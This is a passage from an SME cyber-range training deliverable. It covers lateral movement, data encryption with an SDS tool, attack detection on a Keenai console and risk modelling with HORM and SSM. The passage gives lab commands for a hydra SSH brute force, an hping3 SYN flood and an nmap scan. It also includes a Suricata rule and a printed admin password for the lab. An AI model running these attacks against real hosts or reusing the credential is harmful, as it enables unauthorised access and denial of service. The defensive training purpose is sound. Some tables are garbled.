Add a new **Operation** to gain information from target (Sahu):

Finally click on yellow star to see the result.
Exercise

Lateral Movement

Starting from Target 1 (Sahu), find:
1. new subnet,
2. servers in new subnet,
3. services on servers found.

Run-time tools

Secure Data Services (SDS) and Keenai are tools for detecting and preventing a cyber attack.

1. Penetration Test
2. Agent deploy
3. Adversary Emulation
4. Log Correlation
5. Data Encryption

Figure 200 – Slide 29

Figure 201 – Slide 30
SDS 1/2

Starting from clear text in “tickdata_EUR_USD_July_2021.csv” (Target 1), it is possible to encrypt this data using the SDS tool in order to make private data unreadable for unauthorized users.

```
cat /data/tickdata_EUR_USD_July_2021.csv
```

![Figure 202 – Slide 31](image)

SDS 2/2

It is possible decrypt this file using the SDS tool.

```
ls -ltr /data/transactions.parquet

head -c 4 /data/transactions.parquet/part-00000-dff81243-3b04-4cb1-8b7d-6581c790c6d0-c000.snappy.parquet
# The parquet file is encrypted and unreadable without encryption keys
```

![Figure 203 – Slide 32](image)
Exercise 1

Run SQL queries on the encrypted transactions table

http://192.168.56.131:5000/query

Exercise 2

Encrypt a data file

1. Create a "health_records.csv" file containing synthetic (made-up) health records
2. Configure application.conf with the details of the "health_records" table
3. Run bulk import of health_records.csv into the health_records table using SDS client
4. Run SQL queries on the health_records table
Deliverable 6.5 SME cyber range training course content

Keenai

https://192.168.56.134/

User: keenai-adm
Password: abz‘2K{rx=6oby)@

Figure 206 – Slide 35

SSH Access

From Kali Linux, when we test SSH access to the Target 1, it is possible to see remote login on Keenai Console

ssh haryana@192.168.56.110

Analyzer

Keenai Console

Figure 207 – Slide 36
Bruteforce SSH Attack

From Kali Linux, test brute force SSH attack to the Target 1

```
hydra -I admin -P /usr/share/wordlists/rockyou.txt 192.168.56.110 -t 4 ssh
```

![Figure 208 – Slide 37](image)

DoS Attack

From Kali Linux, test SYN Flood DoS attack to the Target 1

```
hping3 --flood -p 80 -S 192.168.56.110
```

![Figure 209 – Slide 38](image)
Exercise 1

Ping Connection

1. Configure Suricata on Keenai Server to detect ping connection (/etc/suricata/rules/my.rules)
   ```
   alert icmp any any -> $HOME_NET any (msg:"ICMP connection attempt"; sid:1000002; rev:1;)
   ```
2. Run a ping command from Kali Linux to Target 1 (ping 192.168.56.110),
3. Search events on Keenai Console.

Figure 210 – Slide 39

Exercise 2

NMAP Scan Detection

1. Run nmap scan from Kali Linux to Keenai Server (nmap -e eth0 -sT 192.168.56.134),
2. Search events on Keenai Console.

Figure 211 – Slide 40
Exercise 3

DoS Attack

1. Run SYN Flood DoS attack from Kali Linux to Keenai server (hping3 --flood -p 80 -S 192.168.56.134),
2. Search events on Keenai Console.

Figure 212 – Slide 41

Risk modelling tools

Case Study

A Small and Medium Enterprise with a data breach (email leak) is exposed to a phishing attack:
1. an employee receive an email asking him to recovery password,
2. the employee logs in,
3. the hacker gains him login credentials.

Human and Organisational Risk Models

System Security Modeller

Figure 213 – Slide 42
**HORM**

Human and Organisational Risk Models is a visual language for modelling and visualisation of work processes in terms of user journeys, it is a tool based on CJML (Customer Journey Modelling Language).

![Phishing Attack](image)

**Figure 214 – Slide 43**

**SSM**

System Security Modeller is an asset-based risk-analysis tool for socio-technical systems, developed at University of Southampton. It is a static risk modelling and follows a standardised risk assessment approach described in ISO 27005.

![SSM visualisation of the threat scenario](image)

**Figure 215 – Slide 44**
Possible Modelling Errors

It is quite likely that you will find some modelling errors, especially while learning how to use SSM. In our example, SSM tells us that we have 11 Possible Modelling Errors which we have not resolved (0/11).

SSM tells us that Phishing Server has no manager, we can link Attacker to Server, where Attacker manages it.

Adverse Effects and their Impact

The impact of a security breach will be different for every business/organisation. The SSM tool allows you to modify the default impact levels for the assets in your model, which gives you the flexibility to reflect your specific context accurately.

SSM uses the five Impact levels

<table>
<thead>
<tr>
<th>Malfunction Impact</th>
<th>Meanings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Very High</td>
<td>This mistake in this asset will be fatal to key business interests. Very low malfunction will be at this level, but those that are not prevented at all.</td>
</tr>
<tr>
<td>High</td>
<td>This mistake in this asset has a serious impact on the business, and will be fixed first and foremost.</td>
</tr>
<tr>
<td>Medium</td>
<td>This mistake in the asset can be tolerated for a time, but will become serious if not addressed.</td>
</tr>
<tr>
<td>Low</td>
<td>This mistake in this asset can be tolerated, but it does degrade business function or efficiency.</td>
</tr>
<tr>
<td>Very Low</td>
<td>This mistake in this asset has negligible impact on the business.</td>
</tr>
</tbody>
</table>

It is possible to modify the impact levels for the assets in your system.

<table>
<thead>
<tr>
<th>Adverse Effects and their Impact (256)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
</tr>
<tr>
<td>------</td>
</tr>
<tr>
<td>Lab01</td>
</tr>
<tr>
<td>Lab02</td>
</tr>
<tr>
<td>Lab03</td>
</tr>
<tr>
<td>Lab04</td>
</tr>
<tr>
<td>Lab05</td>
</tr>
<tr>
<td>Lab06</td>
</tr>
</tbody>
</table>

Figure 216 – Slide 45

Figure 217 – Slide 46
Threats

A weakness or vulnerability in your system is a Threat, that they cause assets in your system to Misbehave (behave unpredictably). Threats and their associated Misbehaviours have a Likelihood of occurring. Risk is therefore calculated by assessing the likelihood that something will occur and the impact on your business if that thing does occur.

Risk levels are shown in the table below:

<table>
<thead>
<tr>
<th>Impact</th>
<th>Very Low</th>
<th>Low</th>
<th>Medium</th>
<th>High</th>
<th>Very High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Very Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Low</td>
<td>Low</td>
</tr>
<tr>
<td>Low</td>
<td>Very Low</td>
<td>Very Low</td>
<td>Low</td>
<td>Low</td>
<td>Medium</td>
</tr>
<tr>
<td>Medium</td>
<td>Very Low</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>High</td>
</tr>
<tr>
<td>High</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>Very High</td>
<td>Very High</td>
</tr>
<tr>
<td>Very High</td>
<td>Low</td>
<td>Medium</td>
<td>High</td>
<td>Very High</td>
<td>Very High</td>
</tr>
</tbody>
</table>

SSM will automatically calculate the risk for every asset, threat, possible misbehaviour.

**Figure 218 – Slide 47**

Exercise

Man in the middle

An insecure internet free wifi is exposed to a man in the middle attack:
1. an employe connect into a coffee shop to an open internet free wifi,
2. the employe log in web mail,
3. the hacker gains him login credentials.

**Figure 219 – Slide 48**
XI. BIBLIOGRAPHY


